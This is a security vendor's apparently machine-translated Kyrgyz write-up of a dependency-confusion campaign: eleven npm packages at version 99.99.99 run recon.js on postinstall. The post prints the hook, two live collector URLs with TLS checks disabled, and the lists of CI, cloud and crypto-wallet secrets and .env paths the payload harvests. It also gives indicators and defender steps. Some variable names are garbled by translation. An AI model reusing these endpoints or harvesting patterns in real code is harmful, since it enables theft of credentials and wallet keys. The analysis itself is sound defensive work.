CryptoDAO башаламандыгы: npm пакеттерин чогултуу CI/CD жана криптовалюта сырлары

CryptoDAO башаламандыгы: он бир npm пакет, бир пайдалуу жүк, түшүм жыйноо CI/CD жана крипто-капчыктын сырлары

TL; DR

2026-жылдын 17-июнунда бир npm аккаунту жарыяланды бир максатты жана бир пайдалуу жүктү бөлүшкөн он бир пакетАлардын ону көтөрүп жүрөт cryptodao- префикс (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -typesон биринчиси - масштабдалган @public-for-cdao/coreАр бири версиясында жарыяланган 99.99.99 жана байт менен бирдей жөнөтөт recon.js ошол уланат postinstall.

Аттары баарын айтып турат. Алар крипто/DAO долбоорунун жеке куралдар чынжырынын ички курулуш блокторундай окулат. Коомдук npm реестрине жасалма түрдө жогорку версияда жарыялангандыктан, алар курулушту күтүп турушат. pipeline ал аттарды чечүү үчүн конфигурацияланган жана жеке реестрден мурун же анын ордуна коомдук npmге жетет. Бул көз карандылыктын башаламандыгы, жана пайдалуу жүк так кайсы жерге конушун күтөөрүнө жараша туураланат: CI/CD Жарышка.

качан postinstall өрт, recon.js үй ээсинин маалыматтарын чогултат, болжол менен шыпырып карайт кырк булут, CI жана крипто-капчык чөйрөсүнүн өзгөрмөлөрү, каалаганын окуйт .env ал таба алган файлдарды сактап, жашыруун саптарды сөзмө-сөз жөнөтөт, андан кийин топтомду эки коллекционерге жөнөтөт — webhook.site жана Pipedream акыркы чекити — TLS сертификатын текшерүү өчүрүлгөн. Көчүрмөсү дагы төмөнкү бөлүмдө жазылган /tmp.

Даражасы: бийикТаасир эткен экосистема: КЭУБЖазылып жаткан учурда он бир пакеттин баары иштеп жаткан.

Чабуулдун анатомиясы

Механизм төрт кыймылдуу бөлүктөн турат жана алардын бири да сиз билгенден кийин байкалбайт пакеттин аталышынан бир катмар жогору караңыз.

1. Версия инфляциясы чечүүчү азгырык катары. Ар бир пакет версиясын жарыялайт 99.99.99Көз карандылыктын башаламандыгы пакет менеджери сураганда иштейт. ички аталышы, ошондой эле коомдук реестрди текшерет жана анын эң жогорку версиясын тандайт табат. npm'дин каретка же жалпы символ диапазону үчүн демейки тандоосу - бул ар бир конфигурацияланган булак боюнча эң жогорку канааттандырарлык версия; эгер экөө тең жеке болсо Ошол эле аталыштагы реестр жана коомдук npm жооптору, чоңураак версия номери утат. A 99.99.99 долбоордун кандайдыр бир реалдуу ички версиясынан ашып түшөт жеткен, андыктан жеке булакка бекитилбеген резолютор төмөнкүлөрдү артык көрөт коомдук — жана бул учурда, душмандык — көчүрмө. Оператордун билиши шарт эмес максаттын чыныгы версиясынын номерлери; абсурддук максимумду тандоо ар дайым тең чыгууну кепилдейт алардын жолун бузат.

2. Орнотулгандан кийинки триггер. package.json пайдалуу жүктү орнотууга туташтырат жашоо цикли:

{   "scripts": { "postinstall": "node recon.js" } }

Пакетти импорттоонун кажети жок. Жөн гана орнотуу керек — бул CI pipeline автоматтык түрдө иштейт — иштейт recon.js.

3. Кеңири жашыруун текшерүү. recon.js натыйжалар массивин этап-этабы менен чогултат:

  • Хост контексти: хосттун аталышы, платформа жана чыгарылышы, архитектурасы, колдонуучу аты, иштөөсү каталогдорду.
  • Айлана-чөйрөнүн өзгөрмөлөрү: ал кыркка жакын аталыштардан жана жазуулардан турган белгиленген тизмени кайталайт коюлгандардын баары. Тизме ачыкка чыгарууда — ал жалпы CI токендерин жупташтырат (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) жана булут ишеним грамоталары (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) реестр жана контейнер сырлары менен (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) жана крипто даамдуу кластер:  ЖЕКЕ_КЕРЕГИ, Мнемоника, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCЖаздырылган маанилер алгачкы 50 белгиге чейин кыскартылат.
  • .env файлдар: ал жолдордун тизмесин текшерет — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, жана .өндүрүш/.иштеп чыгуу варианттар — жана бар болгон ар кандай файл үчүн, ал мазмунду дал келген саптарга чыпкалайт АЧКЫЧ|ЖАШЫРУУН|ТОКЕН|ПАСС|ЖЕКЕ|МНЕМОНИКА жана ал саптарды **толугу менен, кыскартылбай** натыйжаларга түртөт.
  • Build-host контексти: ал алгачкы 20 жазууну тизмектейт /курат/, /башкы бет/gitlab-runner/курулуштар/, /var/lib/gitlab-runner/, жана / tmp /.

Жол тизмеси жана өзгөрмө тизмеси GitLab чуркоочуларына карата салмакталган, бул төмөнкүлөрдү көрсөтөт пайдалуу жүктөм иштеп чыгуучуга караганда өз алдынча жайгаштырылган CI инфраструктурасына түздөн-түз тиешелүү ноутбук. Түшүм жыйноо тизмесин категория боюнча топтоштуруу максаттуу ташууларды жөнөкөй кылат:

Category Өзгөрмөлөргө/жолдорго жетүү
CI/CD идентификация жана жайылтуу CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
булут AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Реестр жана контейнер NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Маалымат сактагычтары DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Крипто / блокчейн PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
купуя сүйлөшүү: SLACK_TOKEN, DISCORD_TOKEN
Дисктеги .env үй-бүлө + /home/gitlab-runner/.env, /root/.env, /app/**/.envкаталогдордун тизмеси /builds/, /var/lib/gitlab-runner/

Криптокластер муну жалпы CI-сырынан айырмалап турат. шыпыруу: капчыктын үрөн фразалары жана кол коюу ачкычтары чөйрөсүндө гана пайда болот блокчейн долбоору жана алар түздөн-түз картага түшүрүлөт криптодао-/белги/келишимдер алып жүрүүчүлөрдүн аттарын белгилөө.

4. Текшерүү өчүрүлгөн кош эксфильтрация. Чогултулган массив сериялаштырылып, эки багытка POST аркылуу жөнөтүлдү:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

баш тартууУруксатсыз: жалган чыгуучу түзмөктөр үчүн TLS сертификатын текшерүүнү өчүрөт чалуулар. Ошол эле маалыматтар stdout'ка басылып чыгарылат (ошондуктан ал CI жумуш журналдарына да түшөт) жана жазылган /tmp/.npm_recon_ .jsonКаталар үнсүз жутулуп кетет, ошондуктан Ийгиликсиз жөнөтүү орнотуунун чыгышында бирден башка эч кандай из калтырбайт [кайра карап чыгуу] орнотулган сызык.

Файлдагы негизги комментарийде аны "Көз карандылыктын башаламандыгы" деп сүрөттөйт. "Чалгындоо жүктөмү." Айлана-чөйрөнүн маанилерин 50 символго чейин кыскартуу концепциянын далилинин формасы. Аны катышуу гана болгон маяктан ары жылдырган нерсе - бул .env иштетүү: жашыруун линиялар толугу менен жөнөтүлөт жана көздөгөн жерлер эсептелген раковина эмес, эки иштеп жаткан, чабуулчу башкарган коллекционерлер хиттер.

Timeline

Жарыялоо үлгүсү он бир эмес, бир гана сценарий боюнча жазылган push'тун кол тамгасы болуп саналат көз карандысыз жүктөөлөр.

Убакыт (UTC, 2026-06-17) окуя
03:24:58 cryptodao-bot@99.99.99 жарыяланган
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — масштабдуу вариант, ~24 мүнөттөн кийин

29 секунддук терезенин ичинде он таңгак, болжол менен ар бир үч секундда бирден, жөнөтүлгөн. Масштабдалган @public-for-cdao/core болжол менен 24 мүнөттөн кийин - бир секундадан кийин эгерде керектөөчү долбоор шилтеме берсе, ошол эле максат үчүн аталыш конвенциясы ички куралдар чынжыры жылаңач аталыштар катары эмес, масштабдын астында.

Компромисс көрсөткүчтөрү

түрү көрсөткүч
жыйноочу hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
жыйноочу hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Илмек орнотуу postinstall: node recon.js
Файл ташталды /tmp/.npm_recon_<timestamp>.json
Журнал маркери [recon] <pkg>@<ver> installed on <hostname> (CI журналдарындагы stdout)
Жүрүш-туруш rejectUnauthorized: false орнотуу учурунда чыгуучу HTTPS'те
орбитасына recon.js, он бир пакеттин баарына бирдей (бир бөлүшүлгөн курулма)
версия 99.99.99 ар бир пакетте
пакеттер cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (бардык 99.99.99)
бастырып чыгаруучу адам aduljune / aduljune@proton.me (электрондук почта текшерилген эмес, шилтемеленген булак кампасы жок)

 Атрибуция жана байкалган жүрүм-турум

Кластер жөнүндө баары бир колду көрсөтүп турат. Он бир пакеттин баары жарыяланган npm аккаунту аркылуу жетимдер күнү (aduljune@proton.me, номери жок текшерилбеген дарек шилтемеленген булак репозиторийи), 25 мүнөттүн ичинде, ошол эле учурда 99.99.99 версия, жеткирүү recon.js анын мазмуну ар биринде байт сайын бирдей пакет (MD5 бардык он бир алынган көчүрмөгө дал келет). Бул бир пайдалуу жүктөм көз карандысыз кодду кайра колдонуу эмес, ысымдардын тизмесине мөөр басылган.

Аталыштардын тизмеси максаттуу максатты аныктайт. криптодао-* жана cdao сүрөттөө крипто/DAO долбоорунун жеке модулунун жайгашуусу жана пайдалуу жүктөмдүн түшүм тизмеси божомолдогон күзгүлөр: жалпы CI жана булут сырлары менен катар, ал өзгөчө үчүн жетет ЖЕКЕ_КЕРЕГИ, Мнемоника, SEED_PHRASEжана Ethereum/BSC RPC жана провайдердин ачкычтары. .env издөө жолдору жана каталог тизмелери GitLab-runner болуп саналат белгилүү. Байкалып турган таасир - бул кандайдыр бир pipeline буларды орнотууга алданып калышты names өзүнүн CI токендерин, булут ачкычтарын жана дисктеги файлдарын жөнөтмөк .env сырлар — жана, үчүн блокчейн долбоору, анын капчык материалы — эки үчүнчү тараптын коллекционерлерине.

Биз аккаунтту ким иштетип жатканы же алар эмне кылууну пландап жатканы жөнүндө эч кандай доомат койбойбуз маалыматтар. Өзүнчө турган фактылар: аталыштар белгилүү бир түргө багытталган ички куралдар чынжыры, пайдалуу жүктөм чыныгы жашыруун маанилерди окуп жана өткөрүп берет, жана инфраструктура иштеп жаткан.

Таасир, тенденциялар жана коргоочулардын көрсөтмөсү

Көз карандылыктын башаламандыгы натыйжалуу бойдон калууда, анткени ал чечүүчү жүрүм-турумду эмес, пайдаланат каалаган пакеттеги алсыздык. Бул жердеги ташуучу анча маанилүү эмес — он бир дээрлик бош пакеттер — бирок жарылуу радиусу кандай болсо да pipeline жаңылыштык менен коомдук npmди артык көрөт ички ат үчүн. CI чуркоочулары мунун болушу үчүн эң жаман жер: алар кармап турушат так жетондор жана .env бул пайдалуу жүктөмдү окуган файлдар жана алар орнотот көз карандылыктар интерактивдүү эмес түрдө, ошондуктан орнотуудан кийинки эч кимди карабай чуркап жүрөт.

Бул кластер биз көрүп жаткан үлгүгө да туура келет: орнотуу убактысындагы пайдалуу жүктөмдөр чыныгы ишеним грамоталарын чогултуу учурунда "изилдөө" же "чалгындоо" катары. Белги файлда коддун чуркоочуда эмне кылаарын өзгөртпөйт. Эки дизайн тандоосу сакталат Тынч иш-аракет: ар бир тармак жана файл системасынын операциясы оролгон каталарды жокко чыгарган өзгөчө учурларды иштетүүчү, ошондуктан жөнөтүү бөгөттөлгөн же файл жок эч кандай диагностикалык жыйынтык чыгарбайт жана басылып чыккан жалгыз нерсе - бул бир гана зыянсыз нерсе [кайрадан] … орнотулган кадимки орнотуу ызы-чуусуна аралашкан сызык. Колдонулушу вебхук.сайт жана Pipedream дагы атайылап ыңгайлуулук — экөө тең бекер, суроо-талапты кармоо кызматтары заматта камсыздалат, андыктан операторго эч кандай серверлердин кереги жок өздөрүнүн жана көздөгөн жерлери чыгуу журналдарында кадимки SaaS хост аттарына окшош көрүнөт.

Муну коргоочунун көңүл буруусуна арзырлык кылган нерсе - бул экономика, бирок Оператордун коду маанисиз. Он бир атты каттоо эч нерсеге турбайт, пайдалуу жүк бир файл он бир жолу көчүрүлдү, жана пакет менеджери бардык аткарылышын аткарат. Бир туура эмес конфигурацияланган pipeline бул аталыштардын бирин колдонгон каалаган жер толугу менен төлөйт иш.

Укук коргоочулар үчүн конкреттүү кадамдар:

  • Ички масштабдарды жеке реестриңизге кадаңыз. Ички аталыштар үчүн npm конфигурациялаңыз
     жана масштабдар сиздин реестриңизге гана каршы чечилет (масштабдуу .npmrc реестрдик байланыштар,
    же менчик аталыш мейкиндиктери үчүн эч качан коомдук npmге кирбеген прокси). Коомдук масштабдагы аталыштарыңызды башка эч ким каттай албагыдай кылып сактап коюңуз.
  • Commit lockfiles жана –ignore-scripts менен орнотуңуз CIде мүмкүн болгон жерде, же чындап орнотуу скрипттерине муктаж болгон кичинекей көз карандылыктарды текшериңиз.  recon.js иштетилбейт, эгерде орнотуудан кийинки аткарылбайт.
  • Ички көрүнгөн аталыштын 99.99.99 (же башка акылга сыйбаган жогорку) версиясын караңыз кызыл желек катары көз карандылыкты карап чыгуу жана реестрди көзөмөлдөө.
  • Орнотуу убактысынан чыгуу жөнүндө эскертүү. A орнотуудан кийинки ал чыгуучу HTTPS ачат байланыш — айрыкча сертификатты текшерүү өчүрүлгөн учурда — webhook.site, Pipedream же ушул сыяктуу суроо-талапты кармоо кызматтары тармактын четинде бөгөттөп, курулуш журналдарында белги коюуга арзыйт.
  • Артефакттарды издөө. Чуркоочуларды текшерүү /tmp/.npm_recon_*.json жана [кайра иштетүү] … акыркы CI журналдарындагы … белгисине орнотулган. Эгер табылса, ар бирин айландырыңыз ошол ачыкка чыккан ишеним грамотасы pipeline — CI токендери, булут ачкычтары, реестр токендери жана чөйрөдө же .env файлдарында бар болгон ар кандай капчык үрөндөрү же жеке ачкычтар.

шилтемелер

Бул кластер боюнча эч кандай тышкы отчеттор жазылып жаткан учурда болгон эмес; талдоо жогоруда жарыяланган пакеттин мазмунуна түздөн-түз негизделген

sca-tools-программалык-композициялык-талдоо-куралдары
Программалык камсыздооңуздун тобокелдиктерин артыкчылыктуу деп эсептеңиз, оңдоңуз жана коопсуздугун камсыз кылыңыз
Акысыз аккаунтуңузду алыңыз.
Насыя картасы талап кылынбайт.

Программалык камсыздоону иштеп чыгууну жана жеткирүүнү камсыз кылыңыз

Xygeni Product Suite менен